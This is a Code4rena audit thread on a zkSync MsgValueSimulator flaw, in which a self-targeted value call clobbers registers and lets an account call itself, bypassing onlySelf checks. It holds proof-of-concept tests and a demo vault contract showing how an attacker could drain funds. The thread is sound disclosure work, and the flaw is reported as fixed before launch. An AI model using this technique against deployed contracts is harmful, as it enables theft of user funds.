code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-03-zksync/blob/main/contracts/MsgValueSimulator.sol#L22-L63

Vulnerability details

Impact

First, I need to clarify, there may be more serious ways to exploit this issue. Due to the lack of time and documents, I cannot complete further exploit. The current exploit has only achieved the impact in the title. I will expand the possibility of further exploit in the poc chapter.

The call to MsgValueSimulator with non zero msg.value will call to sender itself with the msg.data. It means that if you can make a contract or a custom account call to specified address with non zero msg.value (that's very common in withdrawal functions and smart contract wallets), you can make the contract/account call itself. And if you can also control the calldata, you can make the contract/account call its functions by itself.

It will bypass some security check with the msg.sender, or break the accounting logic of some contracts which use the msg.sender as account name.

For example the onlySelf modifier in the ContractDepolyer contract:

modifier onlySelf() {
    require(msg.sender == address(this), "Callable only by self");
    _;
}

Proof of Concept

The MsgValueSimulator use the mimicCall to forward the original call.

return EfficientCall.mimicCall(gasleft(), to, _data, msg.sender, false, isSystemCall);

And if the to address is the MsgValueSimulator address, it will go back to the MsgValueSimulator.fallback function again.

The fallback function will Extract the value to send, isSystemCall flag and the to address from the extraAbi params(r3,r4,r5) in the _getAbiParams function. But it's different from the first call to the MsgValueSimulator. The account uses EfficientCall.rawCall function to call the MsgValueSimulator.fallback in the first call. For example, code in DefaultAccount._execute:

bool success = EfficientCall.rawCall(gas, to, value, data);

The rawCall will simulate system_call_byref opcode to call the MsgValueSimulator. And the system_call_byref will write the r3-r5 registers which are read as the above extraAbi params.

But the second call is sent by EfficientCall.mimicCall, as the return value explained in the document https://github.com/code-423n4/2023-03-zksync/blob/main/docs/VM-specific_v1.3.0_opcodes_simulation.pdf, mimicCall will mess up the registers and will use r1-r4 for standard ABI convention and r5 for the extra who_to_mimic arg. So extraAbi params(r3-r5) read by _getAbiParams will be messy data. It can lead to very serious consequences, because the r3 will be used as the msg.value, and the r4 will be used as the to address in the final mimicCall. It means that the contract will send a different(greater) value to a different address, which is unexpected in the original call.

I really don't know how to write a complex test to verify register changes in the era-compiler-tester. So to find out how to control the registers, I use the repo https://github.com/matter-labs/zksync-era and replace the etc/system-contracts/ codes with the lastest version in the contest, and write a integration test.

import { TestMaster } from '../src/index';
import * as zksync from 'zksync-web3';
import { BigNumber } from 'ethers';

describe('ETH token checks', () => {
    let testMaster: TestMaster;
    let alice: zksync.Wallet;
    let bob: zksync.Wallet;

    beforeAll(() => {
        testMaster = TestMaster.getInstance(__filename);
        alice = testMaster.mainAccount();
        bob = testMaster.newEmptyAccount();
    });

    test('Can perform a transfer (legacy)', async () => {
        const LEGACY_TX_TYPE = 0;
        const value = BigNumber.from(30000);

        const MSG_VALUE_SYSTEM_CONTRACT = "0x0000000000000000000000000000000000008009";
        console.log(await alice.getBalance());
        console.log(await alice.provider.getBalance(MSG_VALUE_SYSTEM_CONTRACT));

        let block = await alice.provider.getBlock("latest");
        console.log("block gas limit", block.gasLimit);
        let tx_gasLimit = block.gasLimit.div(8);
        console.log("tx_gasLimit", tx_gasLimit);
        console.log("gas price", await alice.getGasPrice());

        try {
            let tx = await alice.sendTransaction({ type: LEGACY_TX_TYPE, to: MSG_VALUE_SYSTEM_CONTRACT, value , gasLimit: tx_gasLimit, data: '0x'});
            let txp = await tx.wait();
            console.log("success");
            console.log(txp["logs"]);
        } catch (err ) {
            console.log("fail");
            console.log(err);
            console.log('--------');
            console.log(err["receipt"]["logs"]);
        }

        console.log(await alice.getBalance());
        console.log(await alice.provider.getBalance(MSG_VALUE_SYSTEM_CONTRACT));
        console.log(await alice.getNonce());
    });

    afterAll(async () => {
        await testMaster.deinitialize();
    });
});

The L2EthToken Transfer event logs:

    {
        transactionIndex: 0,
        blockNumber: 25,
        transactionHash: '0x997b6536c802620e56f8c1b54a0bd3092dfe3dde457f91ca75ec07740c82fde1',
        address: '0x000000000000000000000000000000000000800A',
        topics: [
          '0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef',
          '0x0000000000000000000000006a8b37bcf2decff1452fccedc1452257d016b5c4',
          '0x0000000000000000000000000000000000000000000000000000000000008009'
        ],
        data: '0x0000000000000000000000000000000000000000000000000000000000007530',
        logIndex: 1,
        blockHash: '0xafb60d1285fc9ac08db01b02df01f6cbb668918d98f1b9254ed150a95957ba75'
      },
      {
        transactionIndex: 0,
        blockNumber: 25,
        transactionHash: '0x997b6536c802620e56f8c1b54a0bd3092dfe3dde457f91ca75ec07740c82fde1',
        address: '0x000000000000000000000000000000000000800A',
        topics: [
          '0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef',
          '0x0000000000000000000000006a8b37bcf2decff1452fccedc1452257d016b5c4',
          '0x0000000000000000000000006a8b37bcf2decff1452fccedc1452257d016b5c4'
        ],
        data: '0x00000000000000000000000000000000000000000002129c0000000a00000000',
        logIndex: 2,
        blockHash: '0xafb60d1285fc9ac08db01b02df01f6cbb668918d98f1b9254ed150a95957ba75'
      }

There are two l2 eth token transaction in addition to gas processing. And the value sent to the MsgValueSimulator will stuck in the contract forever.

I found that the r4(to) is always msg.sender, the r5(mask) is always 0x1, and if the length of the calldata is 0, the r3(value) will be 0x2129c0000000a00000000, and if the length > 0, r3(value) will be 0x215800000000a00000000 + calldata.length << 96. So in this case, the balance of the sender should be at least 0x2129c0000000a00000000 wei to finish the whole transaction whitout reverting.

I did not find any document about the standard ABI convention mentioned in the VM-specific_v1.3.0_opcodes_simulation.pdf and the r5 is also not really the extra who_to_mimic arg. I didn't make a more serious exploit due to lack of time. I'd like more documentation about register call conventions to verify the possibility of manipulating registers.

Tools Used

Manual review

Recommended Mitigation Steps

Check the to address in the MsgValueSimulator contract. The to address must not be the MsgValueSimulator address.

miladpiri commented 1 year ago

The modifier onlySystemCall does not allow calling from defaulAccount through EfficientCall.rawCall. So, it is invalid due to the fact the msgValueSimulator may be called only with isSystemCall flag.

c4-sponsor commented 1 year ago

miladpiri marked the issue as sponsor disputed

GalloDaSballo commented 1 year ago

@miladpiri knowing what we now know around #146, we know that if we perform a call with value, the isSystemFlag will be turned to on, meaning rawCall will actually allow to be performed on a system contract.

The POC for the report seems to miss a key aspect around causing actual damage, however, wouldn't you agree that it did trigger a similar issue of being able to perform a User generated call with the isSystem flag set to true?

miladpiri commented 1 year ago

I agree with you @GalloDaSballo This is similar to issue #146 , that an user have access to call a system contract directly. The only difference in this report is that it is assuming the _to is MsgValueSimulator (that is a systemt contract as well). As a result, if someone sends funds to _to = MsgValueSimulator, the funds will indeed be lost. But I don’t see what is special about it (if someone sends funds to a random address, they are lost too). Though it may be worth to put require(to ≠ this) just in case.

So, IMHO, it is at most duplicate of #146

c4-judge commented 1 year ago

GalloDaSballo changed the severity to 2 (Med Risk)

c4-judge commented 1 year ago

GalloDaSballo marked the issue as duplicate of #146

GalloDaSballo commented 1 year ago

I think this is a case where I'd give the report 75% but because I don't have that option, am leaving as satisfactory, but awarding selected to the other one

c4-judge commented 1 year ago

GalloDaSballo marked the issue as satisfactory

5z1punch commented 1 year ago

Hi I think I should to further explain the exploit process of the issue. The point is not the value sent to MsgValueSimulator will be stuck in the contract. Instead, the value will be forward to another address. It's related to the call convention for the zksync's register. As I mentioned in the report:

I did not find any document about the standard ABI convention mentioned in the VM-specific_v1.3.0_opcodes_simulation.pdf and the r5 is also not really the extra who_to_mimic arg. I'd like more documentation about register call conventions to verify the possibility of manipulating registers.

Now I can only forward the value to the sender itself with calldata. It sounds ridiculous but can be very useful to compromise specific logics of Account Abstraction. Such as the onlySelf modifier, it's used to protect dangerous external functions which often occurs in highly extensible modules. You can find one in the zksync https://github.com/code-423n4/2023-03-zksync/blob/main/contracts/ContractDeployer.sol#L26-L29, and other projects such as Axelar Network https://github.com/axelarnetwork/axelar-cgp-solidity/blob/main/contracts/AxelarGateway.sol#L63-L67. I write a demo custom account to explain how it works. You can think of this custom account contract as a public vault of a defi. Users deposit eth to the contract and then can use it as an Account Abstraction to enjoy other functions(Not implemented in demo).

The validateTransaction function will check if the caller has deposited enough eth to execute the tx. And there is a emergencyWithdraw function which only can be called by admin address, used to withdraw all the eth to the admin by calling a onlySelf function sendAll.

// SPDX-License-Identifier: MIT OR Apache-2.0

pragma solidity ^0.8.0;

import './Constants.sol';
import './TransactionHelper.sol';

import './SystemContractsCaller.sol';

import './interfaces/IAccount.sol';

contract VaultCustomAccount is IAccount {
    using TransactionHelper for Transaction;
    mapping(address => uint256) balance;
    address internal admin=0x13337;

    modifier ignoreNonBootloader() {...}
    modifier ignoreInDelegateCall() {...}
    modifier onlySelf() {
        require(msg.sender == address(this), "Callable only by self");
        _;
    }
    modifier onlyAdmin() {
        require(msg.sender == admin, "Callable only by admin");
        _;
    }

    function validateTransaction(bytes32 _txHash, bytes32 _suggestedSignedTxHash, Transaction calldata _transaction) external payable override ignoreNonBootloader ignoreInDelegateCall returns (bytes4 magic) {
        bytes memory _signature = _transaction.signature;
        uint8 v;
        bytes32 r;
        bytes32 s;
        assembly {
            r := mload(add(_signature, 0x20))
            s := mload(add(_signature, 0x40))
            v := and(mload(add(_signature, 0x41)), 0xff)
        }
        address recoveredAddress = ecrecover(_hash, v, r, s);
        uint totalRequiredBalance = _transaction.totalRequiredBalance();
        if(totalRequiredBalance>balance[recoveredAddress]){
            magic = bytes4(0);
        }
        else{
            magic = ACCOUNT_VALIDATION_SUCCESS_MAGIC;            
        }
    }

    function executeTransaction(bytes32, bytes32, Transaction calldata _transaction) external payable override ignoreNonBootloader ignoreInDelegateCall {
        address to = address(uint160(_transaction.to));
        uint128 value = Utils.safeCastToU128(_transaction.value);
        bytes memory data = _transaction.data;
        require(to!=address(this));
        // ... same as DefaultAccount
    }

    function sendAll(address to) external payable onlySelf{
        to.call{value:address(this).balance}("");
    }

    function emergencyWithdraw() external onlyAdmin{
        this.sendAll(admin);
    }

    // ignore some gas payment functions

    fallback() external payable {assert(msg.sender != BOOTLOADER_FORMAL_ADDRESS);}

    receive() external payable {
        balance[msg.sender]+=msg.value;
    }
}

The sendAll function should not be called from outside or called by normal users. But when the attacker deposits some gas to the VaultCustomAccount and uses the VaultCustomAccount to call the MsgValueSimulator with non zero msg.value and correct calldata for sendAll(address to), the onlySelf check will be bypassed and send all the eth to the attacker. Because when you send value to MsgValueSimulator, the MsgValueSimulator.fallback function will be entered twice, just like a Re-Entrancy. The value of the register is overwritten the second time you enter the function. The r5 register will be overwritten to the original msg.sender. So it will make the Account Abstraction call back to itself to bypass the onlySelf check.

I also submitted a same issue as https://github.com/code-423n4/2023-03-zksync-findings/issues/146, which is https://github.com/code-423n4/2023-03-zksync-findings/issues/152 . I think the current issue causes deeper and more serious effects, and it has different core problem. So I submitted it as a separate high-risk issue. I don't think it's duplicate.

Plus, if the judge ultimately decides it's duplicate, please do not modify the findingCount coefficient in the reward calculation. Because I also submitted https://github.com/code-423n4/2023-03-zksync-findings/issues/152 . Thanks 🤣.

GalloDaSballo commented 1 year ago

@5z1punch thank you for flagging, will check

miladpiri commented 1 year ago

IMHO, it does not make sense. When executing the transaction, if _transaction.to = MSG_VALUE_SIMULATOR and _transaction.data is correct calldata for sendAll(address), then the MSG_VALUE_SIMULATOR will be called twice: In the first call, it changes the balance of msg.sender and target. Also, it sets the value for the farCall to the target. Since, target is MSG_VALUE_SIMULATOR, so it will call itself with the calldata. In the second call, the calldata sendAll(address) will be sent to MSG_VALUE_SIMULATOR from msg.sender (this is mimiced in the first call). But, the VaultCustomAccount will not be called because to is not VaultCustomAccount.

The report misses some important clarifications and thechnical details. It is difficult to understand it.

5z1punch commented 1 year ago

Thanks for your prompt reply! I'm sorry I didn't explain it very clearly.

Back to the MsgValueSimulator contract, the procedure for the first call is exactly what you said. But in the second call, because it is called from EfficientCall.mimicCall, the EfficientCall.mimicCall actually calls an opcode simulation MIMIC_CALL_BY_REF, instead of SYSTEM_MIMIC_CALL_BY_REF. The difference between them is that MIMIC_CALL_BY_REF can't input the value of the registers directly. MIMIC_CALL_BY_REF will mess up the registers and will use r1-r4 for standard ABI convention and r5 for the extra who_to_mimic argument( In the document https://github.com/code-423n4/2023-03-zksync/blob/main/docs/VM-specific_v1.3.0_opcodes_simulation.pdf).

So in the second call, MsgValueSimulator ueses _getAbiParams function to get (uint256 value, bool isSystemCall, address to) from the registers, but the registers has be messed up. And according to my tests the to address is always the original msg.sender (VaultCustomAccount) and if the length of the calldata is 0, the value will be 0x2129c0000000a00000000, and if the length > 0, value will be 0x215800000000a00000000 + calldata.length << 96. I tested it on the official repo https://github.com/matter-labs/zksync-era . I think its version may be out of date. But I replaced the system contracts by the contracts in the contest(not include bootloader). The server appeared to be working properly. You can run the integration test I written in the Proof of Concept of the report on this local environment https://github.com/matter-labs/zksync-era to verify I said above. Don't forget to give the initial amount of the test account to be no less than 0x2129c0000000a00000000 wei.

Thanks!

miladpiri commented 1 year ago

Thanks for the clarification.

c4-judge commented 1 year ago

GalloDaSballo marked the issue as not a duplicate

GalloDaSballo commented 1 year ago

@miladpiri @vladbochok were you able to validate the POC?

What do you think?

vladbochok commented 1 year ago

@GalloDaSballo @5z1punch you are not forgotten, I just need a bit more time to validate the issue. Will come back to you when checking it internally.

Special thanks to the warden and judge for a very productive discussion.

GalloDaSballo commented 1 year ago

@5z1punch having a hard-time verifying your claims, could you point me to the logic in the registries that you believe is impacted?

5z1punch commented 1 year ago

Hi, sorry for replying too late. The logic about the registries can't be found in the solidity/yul codes, I believe it's only operated and simulated by the era compiler https://github.com/matter-labs/era-compiler-solidity . As we know EVM is stack-based, the era compiler will translate the solidity/yul to the zksync's own bytecode for a register-based EVM. It uses some simulations for call opcode to represent accessing zkSync-specific opcodes(include registers operation). There is the docs https://github.com/code-423n4/2023-03-zksync#simulations-via-our-compiler . There is the doc about opcodes simulations https://github.com/code-423n4/2023-03-zksync/blob/main/docs/VM-specific_v1.3.0_opcodes_simulation.pdf .

As for the logic in the registries that you believe is impacted you mentioned, I think it's that:

Let's first look at the normal MsgValueSimulator call flow, which is the first entry in the attack:

DefaultAccount.executeTransaction to DefaultAccount._execute to EfficientCall.rawCall(gas, to, value, data), there is the main code in the EfficientCall.rawCall function:

            _loadFarCallABIIntoActivePtr(_gas, _data, false, true);

            // If there is provided `msg.value` call the `MsgValueSimulator` to forward ether.
            address msgValueSimulator = MSG_VALUE_SYSTEM_CONTRACT;
            address callAddr = SYSTEM_CALL_BY_REF_CALL_ADDRESS;
            // We need to supply the mask to the MsgValueSimulator to denote
            // that the call should be a system one.
            uint256 forwardMask = MSG_VALUE_SIMULATOR_IS_SYSTEM_BIT;

            assembly {
                success := call(msgValueSimulator, callAddr, _value, _address, 0xFFFF, forwardMask, 0)
            }

Because the called address is SYSTEM_CALL_BY_REF_CALL_ADDRESS, this is actually a system_call_byref simulated opcode. According to the document, the first param should be the address to call. And the third parameter will be put into register 3, the fourth for register 4, and the sixth for register 5. Then the MsgValueSimulator.fallback will be called.

At the beginning of the MsgValueSimulator.fallback function, it uses MsgValueSimulator._getAbiParams to get the params:

fallback(bytes calldata _data) external payable onlySystemCall returns (bytes memory) {
    (uint256 value, bool isSystemCall, address to) = _getAbiParams();

And the _getAbiParams uses a compiler simulation to get the param value from the specific register. For example, the first line of code:

value = SystemContractHelper.getExtraAbiData(0);

SystemContractHelper.getExtraAbiData function:

    /// @notice Returns the N-th extraAbiParam for the current call.
    /// @return extraAbiData The value of the N-th extraAbiParam for this call.
    /// @dev It is equal to the value of the (N+2)-th register
    /// at the start of the call.
    function getExtraAbiData(uint256 index) internal view returns (uint256 extraAbiData) {
        require(index < 10, "There are only 10 accessible registers");

        address callAddr = GET_EXTRA_ABI_DATA_ADDRESS;
        assembly {
            extraAbiData := staticcall(index, callAddr, 0, 0xFFFF, 0, 0)
        }
    }

It uses the EXTRA_ABI_DATA simulated opcode to get the register 3 to register 12. So here, SystemContractHelper.getExtraAbiData(0) gets the register 3 for the value param.

And then, here's the last line of the fallback:

return EfficientCall.mimicCall(gasleft(), to, _data, msg.sender, false, isSystemCall);

The main code of EfficientCall.mimicCall:

        _loadFarCallABIIntoActivePtr(_gas, _data, _isConstructor, _isSystem);

        address callAddr = MIMIC_CALL_BY_REF_CALL_ADDRESS;
        uint256 cleanupMask = ADDRESS_MASK;
        assembly {
            // Clearing values before usage in assembly, since Solidity
            // doesn't do it by default
            _whoToMimic := and(_whoToMimic, cleanupMask)

            success := call(_address, callAddr, 0, 0, _whoToMimic, 0, 0)
        }

The callAddr is MIMIC_CALL_BY_REF_CALL_ADDRESS, so it's a mimic_call_byref simulated opcode. According to the document, mimic_call_byref will mess up the registers. It works well if the next call address is a normal address. But if it's calling MsgValueSimulator itself, which means that the second time it enters the MsgValueSimulator.fallback function is through mimic_call_byref instead of system_call_byref, the registers will be wrong when the MsgValueSimulator._getAbiParams function gets params for (uint256 value, bool isSystemCall, address to). Because the mimic_call_byref can't write registers directly like system_call_byref. It only can use the registers for standard ABI convention.

This leads to the bypass case detailed in my report. But to be honest, I can only say that the registers will be overrided like that after the mimic_call_byref from the MsgValueSimulator. It's the test results on my local zksync server. But I can't explain further why they are like that. I believe it's related to the era compiler's operations on the registers during opcodes simulation. I can't fully study it in such a short time of contest.

GalloDaSballo commented 1 year ago

@5z1punch thank you for the extra info, I'm also looking at era-compiler-llvm/llvm/lib/Target/SyncVM/SyncVMInstrInfo.td which mentions the various registries, however the logical flaw may be at this layer

vladbochok commented 1 year ago

Hey @5z1punch @GalloDaSballo,

I managed to reproduce the issue. @5z1punch is right, if Alice calls msgValueSimulator with msgValueSimulator as a recipient then: 1) Alice (contract) transferred funds to the msgValueSimulator 2) msgValueSimulator reenter itself with a changed register:

value = rawFatPointer
isSystemCall = isSystemCall (was set by Alice)
to = Alice.address 3) Alice reenters self contract with the same calldata as was sent to the msgValueSimulator and value == rawFatPointer. 4) Alice sends rawFatPointer wei to herself.

Please note the fatPointer is the struct:

pub struct FatPointer {
    pub offset: u32,
    pub memory_page: u32,
    pub start: u32,
    pub length: u32,
}

And its raw representation:

rawFatPointer = length || start || memory_page || offset

Depending on the use case, a user could manipulate the msg.value of the reentrant call. However if length > 0, the rawFatPointer = msg.value >= 2^96. So if an attacker manipulates length, the result msg.value will be very large, so the attack is realistically impossible. Just as note, 2^96 wei == 79228162514 Ether == $100 trillion.

So the length of the data should be 0, but manipulating other data is still possible.

I see the impact of a non-unauthorized call to itself fallback function. It is indeed pretty bad, even though I don't know any smart contract that would suffer from this in practice.

All in all, I confirm the issue and appreciate that deep research, thanks a lot @5z1punch!

vladbochok commented 1 year ago

For a note here is the test that we add to our compiler-tester to reproduce the issue.

pragma solidity ^0.8.0;

// The same copy of the system contracts that was on the scope.
import "./system-contracts/libraries/EfficientCall.sol";

contract Main {
    /// @dev The address of msgValueSimulator system contract.
    address constant MSG_VALUE_SIMULATOR_ADDRESS = address(0x8009);

    /// @dev Number of times that fallback function was called.
    uint256 fallbackEntrantCounter;

    function test() external payable {
        // Reset counter, after the call to msgValueSimulator it should be increased
        fallbackEntrantCounter = 0;

        require(msg.value >= 2, "msg.value should be at least 2 to ");

        // The same pattern as on `DefaultAccount`
        bool success = EfficientCall.rawCall(gasleft(), MSG_VALUE_SIMULATOR_ADDRESS, msg.value / 2, msg.data[0:0]);
        if (!success) {
            EfficientCall.propagateRevert();
        }

        require(fallbackEntrantCounter == 1, "Fallback function wasn't called");
    }

    fallback() external payable {
        fallbackEntrantCounter++;
     }
}

vladbochok commented 1 year ago

Last but not least, even though the impact of the issue wasn't clear to us after triaging the report, the fix was done immediately after the end of the contest, before the launch. So this (and others) issues are not in production.

https://explorer.zksync.io/address/0x0000000000000000000000000000000000008009#contract

GalloDaSballo commented 1 year ago

Thank you @vladbochok for the extra detail and am glad this was already addressed

I do believe self-calling opens up to a category of exploits, especially for contracts that for example use try/catch or have "unusual" behaviour around transfers

I believe we can agree that the finding is unique and at least of medium severity -> Incorrect behaviour, which can conditionally lose funds

We must agree that the operation also can be viewed as account hijacking, in the sense that we can impersonate the receiving contract and then have it call itself

These lead me to believe that a higher severity should be appropriate

Have asked for advice to other judges with the goal of clarifying if there was sufficient information in the original submission, I believe the initial POC was valid but I want to get their perspective.

Glad this was found and sorted

c4-judge commented 1 year ago

GalloDaSballo marked the issue as selected for report

GalloDaSballo commented 1 year ago

While plenty of discussion has happened after Judging, the original finding has shown a valid POC that shows the following impact:

By performing a call with value, we can forge a call that will cause the target contract to call itself

The discussion after that helped demonstrate the report's validity and the Sponsor has already mitigated the potential risk.

The ability for a specific contract to call self can be met with some skepticism in terms of its impact, however, I believe that in different scenarios, the severity would easily be raised to High.

For example:

Bridge contracts that call to self
Contract that calls to self to use try/catch
Vault Contracts, can be tricked into minting empty shares (no-op transfers), if the caller and the payer are the same (quirkiness of DAI)

If those contracts were in-scope and the setup demonstrated in the finding was not patched, the finding would have easily been rated as High Severity.

In this case, those contracts are not in-scope, so I would maintain a Med Severity, because that's reliant on the specific integrators using that pattern.

In contrast to isSystem which breaks an invariant on fully in-scope contracts, without the ability of causing damage, I have reason to believe that this specific vulnerability could have caused higher degrees of damage, for example:

Contracts that allow to call or delegate call
Vault Contracts as shown above
Contracts where there is no expectation that the contract can call itself (as it may mess up the balance, accounting, etc..)

Given the following considerations, I have asked myself whether this is a type of risk that would in any way be imputable to the integrator as a quirk, and at this time I cannot justify that

For the logic above, because the finding has shown a way to break a very strong expectation that a contract cannot call itself unless programmed for it, considering this as msg.sender spoofing, although limited to self calls, considering the potential risks for integrators, and the breaking of expectations for EVM systems, I am raising the finding to High Severity because I believe this would have not been a risk that the Sponsor would have wanted any user nor developer to take.

The Sponsor has already mitigated the finding at the time of writing

c4-judge commented 1 year ago

GalloDaSballo changed the severity to 3 (High Risk)

code-423n4 / 2023-03-zksync-findings

The call to MsgValueSimulator with non zero msg.value will call to sender itself which will bypass the onlySelf check #153

Lines of code

Vulnerability details

Impact

Proof of Concept

Tools Used

Recommended Mitigation Steps